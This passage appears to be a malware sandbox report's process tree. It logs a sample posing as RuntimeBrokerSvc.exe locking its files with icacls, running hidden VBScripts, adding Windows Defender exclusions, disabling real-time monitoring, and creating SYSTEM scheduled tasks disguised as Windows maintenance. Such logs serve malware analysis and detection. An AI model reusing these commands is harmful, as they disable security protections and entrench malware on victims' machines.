    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:3740
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:4700
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:4128
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:5416
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Modifies file permissions
    PID:2976
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:1776
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:5844
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:5752
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:4616
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:5600
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:3208
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:6128
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    - Modifies file permissions
    PID:4652
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:3620
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    PID:5880
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    PID:2292
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:2724
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4184
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:2628
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:2836
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:4448
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:3152
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:608
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:932
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:1484
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    - Modifies file permissions
    PID:4156
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:4284
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    PID:4588
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:5840
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:5680
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:2840
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:1264
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:4972
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:1056
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:2452
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5016
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:5076
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_4147087333.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:6008
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe" --kbg-payload-child
      4⤵
      PID:1860
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe" --kbg-payload-child
        5⤵
        
        PID:5332
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_8938844500.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:2112
        
        C:\Windows\System32\icacls.exe
        
        "C:\Windows\System32\icacls.exe" C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(D,W,DA,WA) /grant SYSTEM:(F) /inheritance:r /c
        7⤵
        Possible privilege escalation attempt
        
        PID:5336
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_3281979069.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:120
        
        C:\Windows\System32\takeown.exe
        
        "C:\Windows\System32\takeown.exe" /f C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /a
        7⤵
        
        PID:4868
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Owner\AppData\Local\Microsoft\Windows\KBG_18602
        6⤵
        
        PID:2880
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin
        6⤵
        
        PID:3240
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe
        6⤵
        
        PID:3408
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin\AppData\Local
        6⤵
        
        PID:5080
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin\AppData\Local\Microsoft\Windows
        6⤵
        
        PID:3692
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Windows\Temp
        6⤵
        
        PID:3748
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin\AppData\Roaming
        6⤵
        
        PID:4204
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin\AppData\Local\Temp
        6⤵
        
        PID:4644
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionProcess C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe
        6⤵
        
        PID:1704
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_4783130549.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:4948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Owner\AppData\Local\Microsoft\Windows\KBG_18602' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3404
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn WindowsCoreUpdate /f
        6⤵
        
        PID:2032
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_2874055350.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:2872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5424
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn WinUpdateService /f
        6⤵
        
        PID:5568
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn WindowsDefenderUpdate /f
        6⤵
        
        PID:4828
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_4986675480.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2472
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn WindowsDefenderCore /f
        6⤵
        
        PID:4700
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_9472816152.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5416
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn WindowsUpdater /f
        6⤵
        
        PID:3508
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn WindowsUpdaterBoot /f
        6⤵
        
        PID:1964
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_3945916043.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:4688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2300
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn WindowsUpdateService /f
        6⤵
        
        PID:2700
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_1562169522.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1348
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn WinCoreSvc /f
        6⤵
        
        PID:1792
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_3049421634.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:1016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3876
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn RuntimeBrokerSvc /f
        6⤵
        
        PID:2452
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn WinMgmtSvc /f
        6⤵
        
        PID:872
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_2936345699.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:3608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5756
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /create /tn WindowsCoreUpdate /tr "C:\Windows\System32\wscript.exe //B //Nologo \"C:\Windows\SysWOW64\WinCoreUpdate.vbs\"" /sc onlogon /ru SYSTEM /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3944
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_1169485141.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3360
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /create /tn WinUpdateService /tr "C:\Windows\System32\wscript.exe //B //Nologo \"C:\Windows\SysWOW64\WinCoreUpdate.vbs\"" /sc onstart /ru SYSTEM /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2920
      - C:\Windows\System32\wscript.exe
        
        C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_7127049689.vbs
        6⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2996
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn \Microsoft\Windows\Maintenance\WinSAT\Metrics /f
        6⤵
        
        PID:6180
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn \Microsoft\Windows\Maintenance\WinSAT\MetricsBoot /f
        6⤵
        
        PID:6664
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn WinCoreMetrics /f
        6⤵
        
        PID:7012
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /delete /tn KBGGhostStartup /f
        6⤵
        
        PID:2272
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /create /tn \Microsoft\Windows\Maintenance\WinSAT\Metrics /tr "C:\Windows\System32\wscript.exe //B //Nologo \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\133c49ce\RuntimeBroker.vbs\"" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6964
      - C:\Windows\System32\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /create /tn \Microsoft\Windows\Maintenance\WinSAT\MetricsBoot /tr "C:\Windows\System32\wscript.exe //B //Nologo \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\133c49ce\RuntimeBroker.vbs\"" /sc onstart /ru SYSTEM /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2568
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:1564
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /query /tn WindowsHealthService
    3⤵
    PID:1408
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    PID:3788
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:4836
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:1008
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:200
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:5600
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:5864
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:4324
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Possible privilege escalation attempt
    PID:364
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1348
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:5444
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Modifies file permissions
    PID:4652
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    - Modifies file permissions
    PID:5116
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:5080
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:1636
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:4184
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:1928
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:272
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:4768
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:2652
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:5920
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:2420
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:240
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3268
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:4852
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:6068
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Modifies file permissions
    PID:3828
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:2128
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:5212
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:2688
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:488
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3796
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp /remove:d FRPTRMXS\Admin
    3⤵
    PID:2064
